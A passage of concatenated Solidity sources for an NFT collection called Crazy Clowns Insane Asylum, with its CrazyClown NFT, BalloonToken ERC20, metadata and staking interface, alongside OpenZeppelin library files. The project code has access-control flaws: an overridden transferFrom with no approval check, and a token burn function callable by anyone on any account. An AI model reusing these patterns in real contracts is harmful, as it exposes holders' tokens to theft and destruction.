* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// SPDX-License-Identifier: MIT OR Apache-2.0
pragma solidity ^0.8.3;
/*
▄████▄ ██▀███ ▄▄▄ ▒███████▒▓██ ██▓
▒██▀ ▀█ ▓██ ▒ ██▒▒████▄ ▒ ▒ ▒ ▄▀░ ▒██ ██▒
▒▓█ ▄ ▓██ ░▄█ ▒▒██ ▀█▄ ░ ▒ ▄▀▒░ ▒██ ██░
▒▓▓▄ ▄██▒▒██▀▀█▄ ░██▄▄▄▄██ ▄▀▒ ░ ░ ▐██▓░
▒ ▓███▀ ░░██▓ ▒██▒ ▓█ ▓██▒▒███████▒ ░ ██▒▓░
░ ░▒ ▒ ░░ ▒▓ ░▒▓░ ▒▒ ▓▒█░░▒▒ ▓░▒░▒ ██▒▒▒
░ ▒ ░▒ ░ ▒░ ▒ ▒▒ ░░░▒ ▒ ░ ▒ ▓██ ░▒░
░ ░░ ░ ░ ▒ ░ ░ ░ ░ ░ ▒ ▒ ░░
░ ░ ░ ░ ░ ░ ░ ░ ░
░ ░ ░ ░
▄████▄ ██▓ ▒█████ █ █░ ███▄ █ ██████
▒██▀ ▀█ ▓██▒ ▒██▒ ██▒▓█░ █ ░█░ ██ ▀█ █ ▒██ ▒
▒▓█ ▄ ▒██░ ▒██░ ██▒▒█░ █ ░█ ▓██ ▀█ ██▒░ ▓██▄
▒▓▓▄ ▄██▒▒██░ ▒██ ██░░█░ █ ░█ ▓██▒ ▐▌██▒ ▒ ██▒
▒ ▓███▀ ░░██████▒░ ████▓▒░░░██▒██▓ ▒██░ ▓██░▒██████▒▒
░ ░▒ ▒ ░░ ▒░▓ ░░ ▒░▒░▒░ ░ ▓░▒ ▒ ░ ▒░ ▒ ▒ ▒ ▒▓▒ ▒ ░
░ ▒ ░ ░ ▒ ░ ░ ▒ ▒░ ▒ ░ ░ ░ ░░ ░ ▒░░ ░▒ ░ ░
░ ░ ░ ░ ░ ░ ▒ ░ ░ ░ ░ ░ ░ ░ ░
░ ░ ░ ░ ░ ░ ░ ░ ░
░
Crazy Clowns Insane Asylum
2021, V1.1
https://ccia.io
*/
import '@openzeppelin/contracts/utils/Counters.sol';
import '@openzeppelin/contracts/utils/Strings.sol';
import './NFTExtension.sol';
import './Metadata.sol';
import './interfaces/INFTStaking.sol';
contract CrazyClown is Metadata, NFTExtension {
using Counters for Counters.Counter;
using Strings for uint256;
// Counter service to determine tokenId
Counters.Counter private _tokenIds;
// General details
uint256 public constant maxSupply = 9696;
// Public sale details
uint256 public price = 0.05 ether; // Public sale price
uint256 public publicSaleTransLimit = 10; // Public sale limit per transaction
uint256 public publicMintLimit = 500; // Public mint limit per Wallet
bool private _publicSaleStarted; // Flag to enable public sale
mapping(address => uint256) public mintListPurchases;
// Presale sale details
uint256 public preSalePrice = 0.04 ether;
uint256 public preSaleMintLimit = 10; // Presale limit per wallet
bool public preSaleLive = false;
Counters.Counter private preSaleAmountMinted;
mapping(address => uint256) public preSaleListPurchases;
mapping(address => bool) public preSaleWhitelist;
// Reserve details for founders / gifts
uint256 private reservedSupply = 196;
// Metadata details
string _baseTokenURI;
string _contractURI;
//NFTStaking interface
INFTStaking public nftStaking;
// Whitelist contracts
address[] contractWhitelist;
mapping(address => uint256) contractWhitelistIndex;
constructor(
string memory name,
string memory symbol,
string memory baseURI,
string memory contractStoreURI,
address utilityToken,
address _proxyRegistryAddress
) ERC721(name, symbol) Metadata(utilityToken, maxSupply) {
_publicSaleStarted = false;
_baseTokenURI = baseURI;
_contractURI = contractStoreURI;
admins[_msgSender()] = true;
proxyRegistryAddress = _proxyRegistryAddress;
}
// Public sale functions
modifier whenPublicSaleStarted() {
require(_publicSaleStarted, 'Sale has not yet started');
_;
}
function flipPublicSaleStarted() external onlyOwner {
_publicSaleStarted = !_publicSaleStarted;
}
function saleStarted() public view returns (bool) {
return _publicSaleStarted;
}
function mint(uint256 _nbTokens, bool allowStaking) external payable override {
// Presale minting
require(_publicSaleStarted || preSaleLive, 'Sale has not yet started');
uint256 _currentSupply = _tokenIds.current();
if (!_publicSaleStarted && preSaleLive) {
require(preSaleWhitelist[msg.sender] || isWhitelistContractHolder(msg.sender), 'Not on presale whitelist');
require(preSaleListPurchases[msg.sender] + _nbTokens <= preSaleMintLimit, 'Exceeded presale allowed buy limit');
require(preSalePrice * _nbTokens <= msg.value, 'Insufficient ETH');
for (uint256 i = 0; i < _nbTokens; i++) {
preSaleAmountMinted.increment();
_tokenIds.increment();
uint256 newItemId = _tokenIds.current();
preSaleListPurchases[msg.sender]++;
tokenMintDate[newItemId] = block.timestamp;
_safeMint(msg.sender, newItemId);
if (allowStaking) {
nftStaking.stake(address(this), newItemId, msg.sender);
}
}
} else if (_publicSaleStarted) {
// Public sale minting
require(_nbTokens <= publicSaleTransLimit, 'You cannot mint that many NFTs at once');
require(_currentSupply + _nbTokens <= maxSupply - reservedSupply, 'Not enough Tokens left.');
require(mintListPurchases[msg.sender] + _nbTokens <= publicMintLimit, 'Exceeded sale allowed buy limit');
require(_nbTokens * price <= msg.value, 'Insufficient ETH');
for (uint256 i; i < _nbTokens; i++) {
_tokenIds.increment();
uint256 newItemId = _tokenIds.current();
mintListPurchases[msg.sender]++;
tokenMintDate[newItemId] = block.timestamp;
_safeMint(msg.sender, newItemId);
if (allowStaking) {
setApprovalForAll(address(nftStaking), true);
nftStaking.stake(address(this), newItemId, msg.sender);
}
}
}
}
/**
* called after deployment so that the contract can get NFT staking contracts
* @param _nftStaking the address of the NFTStaking
*/
function setNFTStaking(address _nftStaking) external onlyOwner {
nftStaking = INFTStaking(_nftStaking);
}
function setPublicMintLimit(uint256 limit) external onlyOwner {
publicMintLimit = limit;
}
function setPublicSaleTransLimit(uint256 limit) external onlyOwner {
publicSaleTransLimit = limit;
}
// Make it possible to change the price: just in case
function setPrice(uint256 _newPrice) external onlyOwner {
price = _newPrice;
}
function getPrice() public view returns (uint256) {
return price;
}
// Pre sale functions
modifier whenPreSaleLive() {
require(preSaleLive, 'Presale has not yet started');
_;
}
modifier whenPreSaleNotLive() {
require(!preSaleLive, 'Presale has already started');
_;
}
function setPreSalePrice(uint256 _newPreSalePrice) external onlyOwner whenPreSaleNotLive {
preSalePrice = _newPreSalePrice;
}
// Add an array of wallet addresses to the presale white list
function addToPreSaleList(address[] calldata entries) external onlyOwner {
for (uint256 i = 0; i < entries.length; i++) {
address entry = entries[i];
require(entry != address(0), 'NULL_ADDRESS');
require(!preSaleWhitelist[entry], 'DUPLICATE_ENTRY');
preSaleWhitelist[entry] = true;
}
}
// Remove an array of wallet addresses to the presale white list
function removeFromPreSaleList(address[] calldata entries) external onlyOwner {
for (uint256 i = 0; i < entries.length; i++) {
address entry = entries[i];
require(entry != address(0), 'NULL_ADDRESS');
preSaleWhitelist[entry] = false;
}
}
function isPreSaleApproved(address addr) external view returns (bool) {
return preSaleWhitelist[addr];
}
function flipPreSaleStatus() external onlyOwner {
preSaleLive = !preSaleLive;
}
function getPreSalePrice() public view returns (uint256) {
return preSalePrice;
}
function setPreSaleMintLimit(uint256 _newPresaleMintLimit) external onlyOwner {
preSaleMintLimit = _newPresaleMintLimit;
}
// Reserve functions
// Owner to send reserve NFT to address
function sendReserve(address _receiver, uint256 _nbTokens) public onlyAdmin {
uint256 _currentSupply = _tokenIds.current();
require(_currentSupply + _nbTokens <= maxSupply - reservedSupply, 'Not enough supply left');
require(_nbTokens <= reservedSupply, 'That would exceed the max reserved');
for (uint256 i; i < _nbTokens; i++) {
_tokenIds.increment();
uint256 newItemId = _tokenIds.current();
tokenMintDate[newItemId] = block.timestamp;
_safeMint(_receiver, newItemId);
}
reservedSupply = reservedSupply - _nbTokens;
}
function getReservedLeft() public view whenPublicSaleStarted returns (uint256) {
return reservedSupply;
}
// Make it possible to change the reserve only if sale not started: just in case
function setReservedSupply(uint256 _newReservedSupply) external onlyOwner {
reservedSupply = _newReservedSupply;
}
// Storefront metadata
// https://docs.opensea.io/docs/contract-level-metadata
function contractURI() public view returns (string memory) {
return _contractURI;
}
function setContractURI(string memory _URI) external onlyOwner {
_contractURI = _URI;
}
function setBaseURI(string memory _URI) external onlyOwner {
_baseTokenURI = _URI;
}
function _baseURI() internal view override(ERC721) returns (string memory) {
return _baseTokenURI;
}
// General functions & helper functions
// Helper to list all the NFTs of a wallet
function walletOfOwner(address _owner) public view returns (uint256[] memory) {
uint256 tokenCount = balanceOf(_owner);
uint256[] memory tokensId = new uint256[](tokenCount);
for (uint256 i; i < tokenCount; i++) {
tokensId[i] = tokenOfOwnerByIndex(_owner, i);
}
return tokensId;
}
function withdraw(address _receiver) public onlyOwner {
uint256 _balance = address(this).balance;
require(payable(_receiver).send(_balance));
}
function burn(uint256 tokenId) external override onlyAdmin {
_burn(tokenId);
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
_transfer(from, to, tokenId);
}
function addContractToWhitelist(address _contract) external onlyOwner {
contractWhitelist.push(_contract);
contractWhitelistIndex[_contract] = contractWhitelist.length - 1;
}
function removeContractFromWhitelist(address _contract) external onlyOwner {
uint256 lastIndex = contractWhitelist.length - 1;
address lastContract = contractWhitelist[lastIndex];
uint256 contractIndex = contractWhitelistIndex[_contract];
contractWhitelist[contractIndex] = lastContract;
contractWhitelistIndex[lastContract] = contractIndex;
if (contractWhitelist.length > 0) {
contractWhitelist.pop();
delete contractWhitelistIndex[_contract];
}
}
function isWhitelistContractHolder(address user) internal view returns (bool) {
for (uint256 index = 0; index < contractWhitelist.length; index++) {
uint256 balanceOfSender = IERC721(contractWhitelist[index]).balanceOf(user);
if (balanceOfSender > 0) return true;
}
return false;
}
function tokenURI(uint256 tokenId) public view override returns (string memory) {
require(tokenId <= _tokenIds.current(), 'Token does not exist');
if (PublicRevealStatus) return super.tokenURI(tokenId);
else return placeHolderURI;
}
function isWhitelisted() public view returns (bool) {
return (preSaleWhitelist[msg.sender] || isWhitelistContractHolder(msg.sender));
}
}
// SPDX-License-Identifier: MIT OR Apache-2.0
pragma solidity ^0.8.3;
/*
▄████▄ ██▀███ ▄▄▄ ▒███████▒▓██ ██▓
▒██▀ ▀█ ▓██ ▒ ██▒▒████▄ ▒ ▒ ▒ ▄▀░ ▒██ ██▒
▒▓█ ▄ ▓██ ░▄█ ▒▒██ ▀█▄ ░ ▒ ▄▀▒░ ▒██ ██░
▒▓▓▄ ▄██▒▒██▀▀█▄ ░██▄▄▄▄██ ▄▀▒ ░ ░ ▐██▓░
▒ ▓███▀ ░░██▓ ▒██▒ ▓█ ▓██▒▒███████▒ ░ ██▒▓░
░ ░▒ ▒ ░░ ▒▓ ░▒▓░ ▒▒ ▓▒█░░▒▒ ▓░▒░▒ ██▒▒▒
░ ▒ ░▒ ░ ▒░ ▒ ▒▒ ░░░▒ ▒ ░ ▒ ▓██ ░▒░
░ ░░ ░ ░ ▒ ░ ░ ░ ░ ░ ▒ ▒ ░░
░ ░ ░ ░ ░ ░ ░ ░ ░
░ ░ ░ ░
▄████▄ ██▓ ▒█████ █ █░ ███▄ █ ██████
▒██▀ ▀█ ▓██▒ ▒██▒ ██▒▓█░ █ ░█░ ██ ▀█ █ ▒██ ▒
▒▓█ ▄ ▒██░ ▒██░ ██▒▒█░ █ ░█ ▓██ ▀█ ██▒░ ▓██▄
▒▓▓▄ ▄██▒▒██░ ▒██ ██░░█░ █ ░█ ▓██▒ ▐▌██▒ ▒ ██▒
▒ ▓███▀ ░░██████▒░ ████▓▒░░░██▒██▓ ▒██░ ▓██░▒██████▒▒
░ ░▒ ▒ ░░ ▒░▓ ░░ ▒░▒░▒░ ░ ▓░▒ ▒ ░ ▒░ ▒ ▒ ▒ ▒▓▒ ▒ ░
░ ▒ ░ ░ ▒ ░ ░ ▒ ▒░ ▒ ░ ░ ░ ░░ ░ ▒░░ ░▒ ░ ░
░ ░ ░ ░ ░ ░ ▒ ░ ░ ░ ░ ░ ░ ░ ░
░ ░ ░ ░ ░ ░ ░ ░ ░
░
Crazy Clowns Insane Asylum
2021, V1.1
https://ccia.io
*/
import '@openzeppelin/contracts/token/ERC20/ERC20.sol';
import '@openzeppelin/contracts/access/Ownable.sol';
contract BalloonToken is ERC20, Ownable {
mapping(address => bool) private minters;
modifier onlyMinter() {
require(minters[_msgSender()], 'Caller is not the minter');
_;
}
constructor(uint256 initialSupply) ERC20('Balloon Token', 'BALLOON') {
_mint(msg.sender, initialSupply * 10**decimals());
}
function _mint(address to, uint256 amount) internal override(ERC20) {
super._mint(to, amount);
}
function mint(address to, uint256 amount) external onlyMinter {
_mint(to, amount);
}
function _burn(address account, uint256 amount) internal override(ERC20) {
super._burn(account, amount);
}
function burn(address account, uint256 amount) external {
_burn(account, amount);
}
// Function to grant mint role
function addMinterRole(address _address) external onlyOwner {
minters[_address] = true;
}
// Function to revoke mint role
function revokeMinterRole(address _address) external onlyOwner {
minters[_address] = false;
}
}
// SPDX-License-Identifier: MIT OR Apache-2.0
pragma solidity ^0.8.3;
import '@openzeppelin/contracts/token/ERC721/ERC721.sol';
import '@openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol';
import '@openzeppelin/contracts/utils/Counters.sol';
import '@openzeppelin/contracts/utils/Strings.sol';
import '@openzeppelin/contracts/access/Ownable.sol';
/**
@title An OpenSea delegate proxy contract which we include for whitelisting.
@author OpenSea
*/
contract OwnableDelegateProxy {
}
/**
@title An OpenSea proxy registry contract which we include for whitelisting.
@author OpenSea
*/
contract ProxyRegistry {
mapping(address => OwnableDelegateProxy) public proxies;
}
abstract contract NFTExtension is ERC721URIStorage, Ownable {
using Counters for Counters.Counter;
mapping(address => bool) internal admins;
Counters.Counter internal _totalSupply;
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Specifically whitelist an OpenSea proxy registry address.
address public proxyRegistryAddress;
modifier onlyAdmin() {
require(admins[_msgSender()], 'Caller is not the admin');
_;
}
/**
An override to whitelist the OpenSea proxy contract to enable gas-free
listings. This function returns true if `_operator` is approved to transfer
items owned by `_owner`.
@param _owner The owner of items to check for transfer ability.
@param _operator The potential transferrer of `_owner`'s items.
*/
function isApprovedForAll(address _owner, address _operator) public view override returns (bool isOperator) {
ProxyRegistry proxyRegistry = ProxyRegistry(proxyRegistryAddress);
if (address(proxyRegistry.proxies(_owner)) == _operator) {
return true;
}
return super.isApprovedForAll(_owner, _operator);
}
// Function to grant admin role
function addAdminRole(address _address) external onlyOwner {
admins[_address] = true;
}
// Function to revoke admin role
function revokeAdminRole(address _address) external onlyOwner {
admins[_address] = false;
}
function hasAdminRole(address _address) external view returns (bool) {
return admins[_address];
}
function _burn(uint256 tokenId) internal override(ERC721URIStorage) {
super._burn(tokenId);
}
// Support Interface
/* function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721) returns (bool) {
return super.supportsInterface(interfaceId);
} */
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual returns (uint256) {
require(index < balanceOf(owner), 'ERC721Enumerable: owner index out of bounds');
return _ownedTokens[owner][index];
}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_totalSupply.increment();
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_totalSupply.decrement();
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
function totalSupply() public view returns (uint256) {
return _totalSupply.current();
}
// function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {}
function burn(uint256 tokenId) external virtual {}
function mint(uint256 _nbTokens, bool nftStaking) external payable virtual {}
function evolve_mint(address _user) external virtual returns (uint256) {}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Counters.sol)
pragma solidity ^0.8.0;
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
*/
library Counters {
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
unchecked {
counter._value += 1;
}
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
function reset(Counter storage counter) internal {
counter._value = 0;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT OR Apache-2.0
pragma solidity ^0.8.3;
pragma experimental ABIEncoderV2;
import { Base64 } from 'base64-sol/base64.sol';
import '@openzeppelin/contracts/token/ERC20/IERC20.sol';
import '@openzeppelin/contracts/utils/Strings.sol';
import '@openzeppelin/contracts/access/Ownable.sol';
import './interfaces/IBalloonToken.sol';
contract Metadata is Ownable {
using Strings for uint256;
// utility token
IBalloonToken public utilityToken;
// Utility Token Fee to update Name, Bio
uint256 public _changeNameFee = 10 * 10**18;
uint256 public _changeBioFee = 25 * 10**18;
uint256 TotalSupply;
// Image Placeholder URI
string public placeHolderURI;
// Public Reveal Status
bool public PublicRevealStatus = false;
struct Meta {
string name;
string description;
}
// Mapping from tokenId to meta struct
mapping(uint256 => Meta) metaList;
// Mapping from tokenId to boolean to make sure name is updated.
mapping(uint256 => bool) _isNameUpdated;
// Mapping from tokenId to boolean to make sure bio is updated.
mapping(uint256 => bool) _isBioUpdated;
// Mapping from token Id to mint date
mapping(uint256 => uint256) tokenMintDate;
constructor(address _utilityToken, uint256 _totalSupply) {
utilityToken = IBalloonToken(_utilityToken);
TotalSupply = _totalSupply;
}
function changeName(uint256 _tokenId, string memory _name) external {
Meta storage _meta = metaList[_tokenId];
_meta.name = _name;
_isNameUpdated[_tokenId] = true;
utilityToken.burn(msg.sender, _changeNameFee);
}
function changeBio(uint256 _tokenId, string memory _bio) external {
Meta storage _meta = metaList[_tokenId];
_meta.description = _bio;
_isBioUpdated[_tokenId] = true;
utilityToken.burn(msg.sender, _changeBioFee);
}
function getTokenName(uint256 _tokenId) public view returns (string memory) {
return metaList[_tokenId].name;
}
function getTokenBio(uint256 _tokenId) public view returns (string memory) {
return metaList[_tokenId].description;
}
function setPlaceholderURI(string memory uri) public onlyOwner {
placeHolderURI = uri;
}
function togglePublicReveal() external onlyOwner {
PublicRevealStatus = !PublicRevealStatus;
}
function _getTokenMintDate(uint256 tokenId) internal view returns (uint256) {
return tokenMintDate[tokenId];
}
function setChangeNameFee(uint256 _fee) external onlyOwner {
_changeNameFee = _fee;
}
function setChangeBioFee(uint256 _fee) external onlyOwner {
_changeBioFee = _fee;
}
}
// SPDX-License-Identifier: MIT OR Apache-2.0
pragma solidity ^0.8.3;
/*
▄████▄ ██▀███ ▄▄▄ ▒███████▒▓██ ██▓
▒██▀ ▀█ ▓██ ▒ ██▒▒████▄ ▒ ▒ ▒ ▄▀░ ▒██ ██▒
▒▓█ ▄ ▓██ ░▄█ ▒▒██ ▀█▄ ░ ▒ ▄▀▒░ ▒██ ██░
▒▓▓▄ ▄██▒▒██▀▀█▄ ░██▄▄▄▄██ ▄▀▒ ░ ░ ▐██▓░
▒ ▓███▀ ░░██▓ ▒██▒ ▓█ ▓██▒▒███████▒ ░ ██▒▓░
░ ░▒ ▒ ░░ ▒▓ ░▒▓░ ▒▒ ▓▒█░░▒▒ ▓░▒░▒ ██▒▒▒
░ ▒ ░▒ ░ ▒░ ▒ ▒▒ ░░░▒ ▒ ░ ▒ ▓██ ░▒░
░ ░░ ░ ░ ▒ ░ ░ ░ ░ ░ ▒ ▒ ░░
░ ░ ░ ░ ░ ░ ░ ░ ░
░ ░ ░ ░
▄████▄ ██▓ ▒█████ █ █░ ███▄ █ ██████
▒██▀ ▀█ ▓██▒ ▒██▒ ██▒▓█░ █ ░█░ ██ ▀█ █ ▒██ ▒
▒▓█ ▄ ▒██░ ▒██░ ██▒▒█░ █ ░█ ▓██ ▀█ ██▒░ ▓██▄
▒▓▓▄ ▄██▒▒██░ ▒██ ██░░█░ █ ░█ ▓██▒ ▐▌██▒ ▒ ██▒
▒ ▓███▀ ░░██████▒░ ████▓▒░░░██▒██▓ ▒██░ ▓██░▒██████▒▒
░ ░▒ ▒ ░░ ▒░▓ ░░ ▒░▒░▒░ ░ ▓░▒ ▒ ░ ▒░ ▒ ▒ ▒ ▒▓▒ ▒ ░
░ ▒ ░ ░ ▒ ░ ░ ▒ ▒░ ▒ ░ ░ ░ ░░ ░ ▒░░ ░▒ ░ ░
░ ░ ░ ░ ░ ░ ▒ ░ ░ ░ ░ ░ ░ ░ ░
░ ░ ░ ░ ░ ░ ░ ░ ░
░
Crazy Clowns Insane Asylum
2021, V1.1
https://ccia.io
*/
interface INFTStaking {
function DEFAULT_ADMIN_ROLE() external view returns (bytes32);
function NFTTokens(address) external view returns (address);
function addEvolvePath(
address from_address,
address to_address,
bool burn_original,
address fee_contract,
uint256 evolve_fee
) external;
function addNftReward(address contract_address, uint256 reward_per_block_day) external;
function blockPerDay() external view returns (uint256);
function claimAll(address _tokenAddress) external;
function claimReward(
address _user,
address _tokenAddress,
uint256 _tokenId
) external;
function dailyReward(address) external view returns (uint256);
function deleteEvolvePath(address from_address) external;
function emergencyUnstake(address _tokenAddress, uint256 _tokenId) external;
function evolvePath(address original_nft_address, uint256 token_id) external;
function evolvePathList(address)
external
view
returns (
address to_address,
bool burn_original,
address fee_contract,
uint256 evolve_fee
);
function getRoleAdmin(bytes32 role) external view returns (bytes32);
function getStakedTokens(address _user, address _tokenAddress) external view returns (uint256[] memory tokenIds);
function grantRole(bytes32 role, address account) external;
function hasRole(bytes32 role, address account) external view returns (bool);
function pendingReward(
address _user,
address _tokenAddress,
uint256 _tokenId
) external view returns (uint256);
function removeNftReward(address contract_address) external;
function renounceRole(bytes32 role, address account) external;
function revokeRole(bytes32 role, address account) external;
function rewardsToken() external view returns (address);
function stake(
address _tokenAddress,
uint256 _tokenId,
address _account
) external;
function supportsInterface(bytes4 interfaceId) external view returns (bool);
function tokenOwner(address, uint256) external view returns (address);
function unstake(address _tokenAddress, uint256 _tokenId) external;
function updateBlockPerDay(uint256 _blockPerDay) external;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/ERC721.sol)
pragma solidity ^0.8.0;
import "./IERC721.sol";
import "./IERC721Receiver.sol";
import "./extensions/IERC721Metadata.sol";
import "../../utils/Address.sol";
import "../../utils/Context.sol";
import "../../utils/Strings.sol";
import "../../utils/introspection/ERC165.sol";
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
